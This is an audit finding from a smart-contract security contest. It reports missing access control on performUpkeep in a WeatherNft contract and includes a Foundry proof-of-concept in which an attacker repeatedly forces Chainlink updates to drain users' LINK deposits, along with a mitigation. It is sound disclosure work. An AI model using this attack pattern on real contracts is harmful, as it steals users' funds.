Weather Witness

First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Unauthorized Weather Updates via Direct `performUpkeep` Calls Leading to LINK Token Drainage

[H-3] Unauthorized Weather Updates via Direct performUpkeep Calls Leading to LINK Token Drainage

Description:

The performUpkeep() function in WeatherNft.sol lacks access control to verify that the caller is a legitimate Chainlink Keeper. This allows any externally owned account (EOA) or contract to call performUpkeep() directly and trigger weather updates for any NFT. These updates invoke Chainlink Functions, which consume LINK tokens from user deposits—even when the update is unnecessary (e.g., before the heartbeat interval has elapsed).

This behavior enables attackers to repeatedly call performUpkeep() and deplete user-funded LINK balances, causing financial damage and disrupting the intended weather update cycle.

Risk:

High — This is a logic-level flaw that enables unauthorized actors to force excessive Chainlink Function executions, resulting in rapid depletion of user funds and system instability.

Impact:

  • Direct financial loss as LINK tokens are consumed faster than intended

  • Users’ LINK deposits may be completely drained prematurely

  • Increased gas costs due to unnecessary Chainlink Function executions

  • Manipulation of NFT weather states for speculative or market purposes

  • Depletion of contract-level LINK reserves (if shared model exists)

  • Violation of the designed update frequency logic (heartbeat abuse)

Proof of Concept:

Click to expand PoC
// SPDX-License-Identifier: MIT
pragma solidity 0.8.29;
import {Test, console} from "forge-std/Test.sol";
import {WeatherNft} from "src/WeatherNft.sol";
import {LinkTokenInterface} from "@chainlink/contracts/src/v0.8/shared/interfaces/LinkTokenInterface.sol";
import {Vm} from "forge-std/Vm.sol";
/**
* @title WeatherNftUnnecessaryUpdates
* @notice PoC demonstrating how anyone can force unnecessary weather updates by
* directly calling performUpkeep, as it lacks proper access control.
*/
contract WeatherNftUnnecessaryUpdates is Test {
WeatherNft public weatherNft;
LinkTokenInterface public linkToken;
address public functionsRouter;
address public keeperRegistry;
address public keeperRegistrar;
address public user = makeAddr("user");
address public attacker = makeAddr("attacker");
function setUp() external {
// Use the deployed contract
weatherNft = WeatherNft(0x4fF356bB2125886d048038386845eCbde022E15e);
linkToken = LinkTokenInterface(0x0b9d5D9136855f6FEc3c0993feE6E9CE8a297846);
functionsRouter = 0xA9d587a00A31A52Ed70D6026794a8FC5E2F5dCb0;
keeperRegistry = weatherNft.s_keeperRegistry();
keeperRegistrar = weatherNft.s_keeperRegistrar();
// Fund accounts
vm.deal(user, 100 ether);
vm.deal(attacker, 100 ether);
deal(address(linkToken), user, 1000e18);
}
function test_forceUnnecessaryUpdates() external {
/**
* 1. User mints an NFT with keeper registration
*/
string memory pincode = "125001";
string memory isoCode = "IN";
bool registerKeeper = true;
uint256 heartbeat = 1 hours;
uint256 initLinkDeposit = 5e18; // 5 LINK tokens
vm.startPrank(user);
linkToken.approve(address(weatherNft), initLinkDeposit);
uint256 mintPrice = weatherNft.s_currentMintPrice();
vm.recordLogs();
weatherNft.requestMintWeatherNFT{value: mintPrice}(pincode, isoCode, registerKeeper, heartbeat, initLinkDeposit);
vm.stopPrank();
// Get request ID and token ID
bytes32 requestId = _getLastMintRequestId();
uint256 tokenId = weatherNft.s_tokenCounter();
// Oracle fulfills the mint request
vm.prank(functionsRouter);
weatherNft.handleOracleFulfillment(requestId, abi.encode(uint8(0)), ""); // SUNNY
// User completes the mint
vm.prank(user);
weatherNft.fulfillMintRequest(requestId);
/**
* 2. Verify initial state
*/
(,, uint256 initialLastFulfilledAt,,) = weatherNft.s_weatherNftInfo(tokenId);
console.log("Initial lastFulfilledAt:", initialLastFulfilledAt);
/**
* 3. Attacker forces unnecessary updates by directly calling performUpkeep
*/
vm.startPrank(attacker);
// First unnecessary update
bytes memory performData = abi.encode(tokenId);
weatherNft.performUpkeep(performData);
// Get the update request ID
bytes32 updateRequestId = _getLastUpdateRequestId();
// Oracle fulfills the update
vm.stopPrank();
vm.prank(functionsRouter);
weatherNft.handleOracleFulfillment(updateRequestId, abi.encode(uint8(1)), ""); // CLOUDY
vm.warp(block.timestamp + 10 minutes);
// Second unnecessary update
vm.startPrank(attacker);
weatherNft.performUpkeep(performData);
// Get the second update request ID
updateRequestId = _getLastUpdateRequestId();
// Oracle fulfills the second update
vm.stopPrank();
vm.prank(functionsRouter);
weatherNft.handleOracleFulfillment(updateRequestId, abi.encode(uint8(2)), ""); // RAINY
/**
* 4. Verify the updates occurred
*/
(,, uint256 finalLastFulfilledAt,,) = weatherNft.s_weatherNftInfo(tokenId);
console.log("Final lastFulfilledAt:", finalLastFulfilledAt);
// Verify the weather state changed multiple times
assertEq(uint8(weatherNft.s_tokenIdToWeather(tokenId)), 2, "Weather should be RAINY");
// Verify the updates happened before the heartbeat period
assertLt(
finalLastFulfilledAt - initialLastFulfilledAt,
heartbeat,
"Updates should have happened before heartbeat period"
);
}
/* ░░░░░░░░░░░░░░░░░░░░ INTERNAL HELPERS ░░░░░░░░░░░░░░░░░░░░ */
/// @dev Reads the last WeatherNFTMintRequestSent event to obtain the requestId.
function _getLastMintRequestId() internal returns (bytes32 reqId) {
Vm.Log[] memory logs = vm.getRecordedLogs();
for (uint256 i = logs.length; i > 0; i--) {
if (logs[i - 1].topics[0] == keccak256("WeatherNFTMintRequestSent(address,string,string,bytes32)")) {
(,,, reqId) = abi.decode(logs[i - 1].data, (address, string, string, bytes32));
break;
}
}
}
/// @dev Reads the last NftWeatherUpdateRequestSend event to obtain the requestId.
function _getLastUpdateRequestId() internal returns (bytes32 reqId) {
Vm.Log[] memory logs = vm.getRecordedLogs();
for (uint256 i = logs.length; i > 0; i--) {
if (logs[i - 1].topics[0] == keccak256("NftWeatherUpdateRequestSend(uint256,bytes32,uint256)")) {
(, reqId,) = abi.decode(logs[i - 1].data, (uint256, bytes32, uint256));
break;
}
}
}
}

Recommended Mitigation:

  • Add proper access control to the performUpkeep function to ensure only authorized Chainlink Keepers can call it:

function performUpkeep(bytes calldata performData) external override {
// Verify the caller is the registered keeper registry
+ require(msg.sender == s_keeperRegistry, "Only keeper registry can call");
// rest of the function
}
Updates

Appeal created

bube Lead Judge 5 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Anyone can call `performUpkeep` function

The `performUpkeep` function should be called by the Chainlink keepers or owners of the NFT. But there is no access control and anyone can call the function. This leads to malicious consumption of the user's LINK deposit.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.